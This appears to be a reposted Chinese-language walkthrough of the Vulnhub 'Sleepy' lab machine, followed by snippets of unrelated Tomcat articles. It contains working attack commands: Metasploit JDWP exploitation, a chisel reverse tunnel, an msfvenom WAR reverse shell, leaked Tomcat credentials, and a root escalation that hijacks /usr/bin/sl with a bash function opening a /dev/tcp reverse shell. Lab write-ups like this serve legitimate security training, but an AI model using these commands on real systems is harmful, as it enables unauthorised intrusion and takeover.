[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-enginnering

2024-06-21 04:28

本文主要是介绍[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-enginnering,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

信息收集

Server IP AddressPorts Opening
192.168.8.100TCP:21,8009,9001

$ nmap -sV -sC 192.168.8.100 -p- --min-rate 1000 -Pn

Starting Nmap 7.92 ( https://nmap.org ) at 2024-06-20 05:06 EDT
Nmap scan report for 192.168.8.100 (192.168.8.100)
Host is up (0.00080s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.8.107
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open  jdwp    Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71
|_jdwp-info: ERROR: Script execution failed (use -d to debug)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.60 seconds

Jdwp

通过jdb,可以未授权连接9001端口,并且可以进行文件读取
$ jdb -attach 192.168.8.100:9001
> threads
> interrupt 1

image.png

使用msf利用jdwp漏洞

$ msfconsole
msf6 > search jdwp
msf6 > use 0
msf6 exploit(multi/misc/java_jdwp_debugger) > set RHOSTS 192.168.8.100
msf6 exploit(multi/misc/java_jdwp_debugger) > set RPORT 9001
msf6 exploit(multi/misc/java_jdwp_debugger) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_jdwp_debugger) > exploit

image-1.png

查看网络端口开放情况

meterpreter > netstat -ano

image-2.png

8080为Tomcat服务

image-3.png

利用chisel将8080端口映射

[Kali]
$ ./chisel server -p 8000 --reverse

image-5.png

[靶机]

[sleepy@sleepy tmp]$ curl http://192.168.8.107/chisel -O chisel
[sleepy@sleepy tmp]$ chmod +x chisel
[sleepy@sleepy tmp]$ ./chisel client 192.168.8.107:8000 R:8080:localhost:8080

image-4.png

通过kali访问http://127.0.0.1:8080/manager/html

image-6.png

image-7.png

使用cat命令读取/etc/tomcat/tomcat-users.xml文件获取账户密码

image-8.png

username:sl33py
password:Gu3SSmYStR0NgPa$sw0rD!

构造war包,获取tomcat用户的shell

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.8.107 LPORT=10032 -f war > shell.war

image-9.png

image-10.png

msf监听

meterpreter > use exploit/multi/handler
meterpreter > set payload java/jsp_shell_reverse_tcp
meterpreter > set LHOST 192.168.8.107
meterpreter > set LPORT 10032
meterpreter > exploit

访问地址http://127.0.0.1:8080/shell/

image-11.png

Local.txt 截屏

image-25.png

Local.txt 内容

5a5946b264f0f12355ddc51693bbb255

权限提升

查找具有SUID的文件

bash-4.2$ find / -perm -4000 -type f 2>null

image-12.png

image-13.png

bash-4.2$ cp /usr/bin/nightmare /usr/share/tomcat/webapps/sample/nightmare

访问http://192.168.8.107:8080/sample/nightmare下载nightmare

首次将尝试打开/dev/tty,如果成功,则将进入fire函数,反之则退出

image-16.png

image-17.png

如果选择yes,则将再次调用fire

image-18.png

不过我们通过命令执行,出现了错误,它似乎使用了库“aalib”,一个 ASCII 艺术库。aalib 无法初始化

image-19.png

image-20.png

我们跟进train函数时

image-21.png

setresuid(ruid: 0, euid: 0, suid: 0):

  • 这是一个系统调用,用于设置进程的真实用户 ID(Real UID)、有效用户 ID(Effective UID)和保存的设置用户 ID(Saved UID)。
    在这个调用中,ruid、euid 和 suid 都被设置为 0,这意味着进程将自身的所有用户 ID 都设置为 root(超级用户)。

setresgid(rgid: 0, egid: 0, sgid: 0):

  • 类似于 setresuid,这是一个系统调用,用于设置进程的真实组 ID(Real GID)、有效组 ID(Effective GID)和保存的设置组 ID(Saved GID)。
    在这个调用中,rgid、egid 和 sgid 都被设置为 0,这意味着进程将自身的所有组 ID 都设置为 root 组。

return system(line: “/usr/bin/sl -al”):

  • 这是一个 system 调用,用于在 shell 中执行命令。
    在这个调用中,执行了命令 “/usr/bin/sl -al”,这是一个模拟火车动画的命令(sl 是一个著名的玩笑程序,它模拟的是打错 ls 时出现的火车动画,-al 是它的参数)。

https://serverfault.com/questions/548320/override-path-to-binary-for-particular-user/548323#548323

中而得知,我们可以劫持程序中的/usr/bin/sl.

bash-4.2$ function /usr/bin/sl () { /bin/bash >& /dev/tcp/192.168.8.107/10033 0>&1;}

bash-4.2$ export -f /usr/bin/sl

使用 export -f 将函数 /usr/bin/sl 导出到子 shell 环境中。这意味着任何从当前 shell 派生出来的子 shell 都可以使用这个函数定义。

bash-4.2$ /usr/bin/nightmare

ctrl+c退出时,将会自动调用/usr/bin/sl函数

image-22.png

image-23.png

Proot.txt 截屏

image-24.png

Proot.txt 内容

92f64746d7cd155607533c778774b995

这篇关于[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-enginnering的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1080200

相关文章

详解Tomcat 7的七大新特性和新增功能(1)

http://developer.51cto.com/art/201009/228537.htm http://tomcat.apache.org/tomcat-7.0-doc/index.html  Apache发布首个Tomcat 7版本已经发布了有一段时间了,Tomcat 7引入了许多新功能,并对现有功能进行了增强。很多文章列出了Tomcat 7的新功能,但大多数并没有详细解释它们

Tomcat性能参数设置

转自:http://blog.csdn.net/chinadeng/article/details/6591542 Tomcat性能参数设置 2010 - 12 - 27 Tomcat性能参数设置 博客分类: Java Linux Tomcat 网络应用 多线程 Socket 默认参数不适合生产环境使用,因此需要修改一些参数   1、修改启动时内存参数、并指定J

TL-Tomcat中长连接的底层源码原理实现

长连接:浏览器告诉tomcat不要将请求关掉。  如果不是长连接,tomcat响应后会告诉浏览器把这个连接关掉。    tomcat中有一个缓冲区  如果发送大批量数据后 又不处理  那么会堆积缓冲区 后面的请求会越来越慢。

Tomcat下载压缩包解压后应有如下文件结构

1、bin:存放启动和关闭Tomcat的命令的路径。 2、conf:存放Tomcat的配置,所有的Tomcat的配置都在该路径下设置。 3、lib:存放Tomcat服务器的核心类库(JAR文件),如果需要扩展Tomcat功能,也可将第三方类库复制到该路径下。 4、logs:这是一个空路径,该路径用于保存Tomcat每次运行后产生的日志。 5、temp:保存Web应用运行过程中生成的临时文件

docker学习系列(四)制作基础的base项目镜像--jdk+tomcat

前面已经完成了docker的安装以及使用,现在我们要将自己的javaweb项目与docker结合 1.1准备jdk+tomcat软件 ​​我下载了apache-tomcat-7.0.68.tar.gz和jdk-7u79-linux-x64.tar.gz,存储于Linux机器的本地目录/usr/ect/wt/下(利用xshell上传)。利用linux命令 tar -zxvf apache-tom

Tomcat服务详解

一、部署Tomcat服务器 JDK安装官方网址:https://www.oracle.com/cn/java Tomcat安装官方网址:Apache Tomcat® - Welcome! 安装JDK 1.获取安装包wget https://download.oracle.com/otn/java/jdk/8u411-b09/43d62d619be4e416215729597d70b8ac

龙芯小本8089b安装debian7+java+tomcat+mysql

之前团购了一个龙芯小本8089b,cpu很差劲,内存也只有1G,根本不能用来娱乐,于是想把它换个纯字符系统,然后搭建java服务器平台,用作局域网固定的mini服务器开发用。 以下是我搭建过程,当然实际比这做的多,这是多次尝试之后的成功过程,分享给大家,自己也做个笔记 debian7纯字符系统安装龙芯专有java安装tomcat安装mysql安装 一、debian7安装参考 圣域☆

eclipse中,更新JDK之后,启动Tomcat报错:

更新到这个版本之后,启动Tomcat报错: 四月 25, 2016 10:13:20 上午 org.apache.catalina.core.AprLifecycleListener lifecycleEvent INFO: The APR based Apache Tomcat Native library which allows optimal performance in prod

在Eclipse环境下修改Tomcat编码的问题

问题: 由于BMS需要设置UTF-8编码,要不就会出现中文乱码问题; 一、项目保持UTF-8格式; 二、由于可能会多次移除项目、加载项目,不想每次都要修改tmp0\conf 原因: 如果在eclipse中配置了tomcat后,其实,tomcat所用的所有tomcat配置文件,都不是catalina_home/config下面的xml文件,而是在eclipse所创建的Serve

Eclipse发布Maven项目到tomcat,无法加载到lib文件夹下的jar包

BMS 解决方法: 当我们发布web项目到tomcat时,访问地址时会报一个classnotfound的错误,但是eclipse中的项目中都已经添加了相应的类,有一种比较容易犯的错误是,你没有把额外所需的jar包加到tomcat中的lib文件夹中,在这里介绍一种在项目中直接添加jar包到lib目录下:  右键已创建的web项目——properties属性——点击Deployment Assem